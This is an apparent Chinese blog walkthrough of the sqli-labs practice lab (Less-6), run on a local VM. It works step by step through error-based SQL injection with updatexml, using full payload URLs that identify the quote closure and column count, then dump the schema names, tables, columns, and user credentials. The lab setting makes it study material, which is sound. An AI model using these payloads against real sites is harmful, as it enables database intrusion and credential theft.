sqli-labs靶场less-6使用updatexml函数报错注入

sqli-labs靶场less-6使用updatexml函数报错注入

本次测试在虚拟机搭建sqli-labs靶场,在主机端浏览器进行访问测试

1、updatexml函数

1.1 语法:

UPDATEXML(XML_document, XPath_string,new_value);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称
  • 第二个参数:XPath_string (Xpath格式的字符串),Xpath语法
  • 第三个参数:new_value,string格式,替换查找到的符合条件的数据

1.2 用法:

sql 复制代码
SELECT updatexml(doc,'/book/title','1') FROM xml;

将XPath_string替换成一个用~开头的字符串使得函数报错,第一个参数

2、确定靶场注入类型,闭合方式

http://192.168.128.3/sq/Less-6/?id=1

http://192.168.128.3/sq/Less-6/?id=2

http://192.168.128.3/sq/Less-6/?id=1'

http://192.168.128.3/sq/Less-6/?id=1 and 1=1

http://192.168.128.3/sq/Less-6/?id=1 and 1=2

以上语句均没有回显,判断为字符型注入,输入

http://192.168.128.3/sq/Less-6/?id=1"

页面回显报错

从页面报错可以确定闭合方式为双引号

3、列数确定

http://192.168.128.3/sq/Less-6/?id=1" order by 5 --+

http://192.168.128.3/sq/Less-6/?id=1" order by 4 --+

http://192.168.128.3/sq/Less-6/?id=1" order by 3 --+

order by 3 的时候回显与之前一致,确定三列

4、判断数据库及版本

从之前回显判断页面正常情况无回显,也可以使用union select 1,2,3验证,故此处使用报错注入,此次我使用uodatexml函数报错注入

4.1 获取数据库名和版本号

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat('~',(select database())),3),3 --+

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat('~',(select version())),3),3 --+

5、进行数据库爆破

5.1 所有数据库

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat('~',(select group_concat(schema_name) from information_schema.schemata)),3),3 --+

因为updatexml报错注入返回长度只有32,用substring函数多次返回

substring`函数

例如:select substring(123456,1,3);

输出 123,输出第一个位置字符从第一个位置开始数三个,分批次输出我们想要的结果

至此得到所有所有数据库名

5.2 表名

  • http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1,30),3),3 --+

5.3 列名

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))),1,30),3),3 --+

5.4 数据

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat('~',(select group_concat(username,',',password) from security.users))),1,30),3),3 --+

修改 security.users))),1,30),3),3 --+ 中的1,便可得到所有数据
至此,大功告成

相关推荐
自由鬼4 分钟前
正向代理服务器Squid:功能、架构、部署与应用深度解析
java·运维·服务器·程序人生·安全·架构·代理
许白掰10 分钟前
Linux入门篇学习——Linux 编写第一个自己的命令
linux·运维·数据库·嵌入式硬件·学习
打不了嗝 ᥬ᭄16 分钟前
文件系统----底层架构
linux·运维·数据库
袁煦丞25 分钟前
【局域网秒传神器】LocalSend:cpolar内网穿透实验室第418个成功挑战
前端·程序员·远程工作
江城开朗的豌豆26 分钟前
Vuex数据突然消失?六招教你轻松找回来!
前端·javascript·vue.js
好奇心笔记36 分钟前
ai写代码随机拉大的,所以我准备给AI出一个设计规范
前端·javascript
江城开朗的豌豆36 分钟前
Vue状态管理进阶:数据到底是怎么"跑"的?
前端·javascript·vue.js
用户214118326360237 分钟前
dify案例分享-Dify v1.6.0 重磅升级:双向 MCP 协议引爆 AI 生态互联革命
前端
程序员海军38 分钟前
AI领域又新增协议: AG-UI
前端·openai·agent
我想说一句40 分钟前
React待办事项开发记:Hook魔法与组件间的悄悄话
前端·javascript·前端框架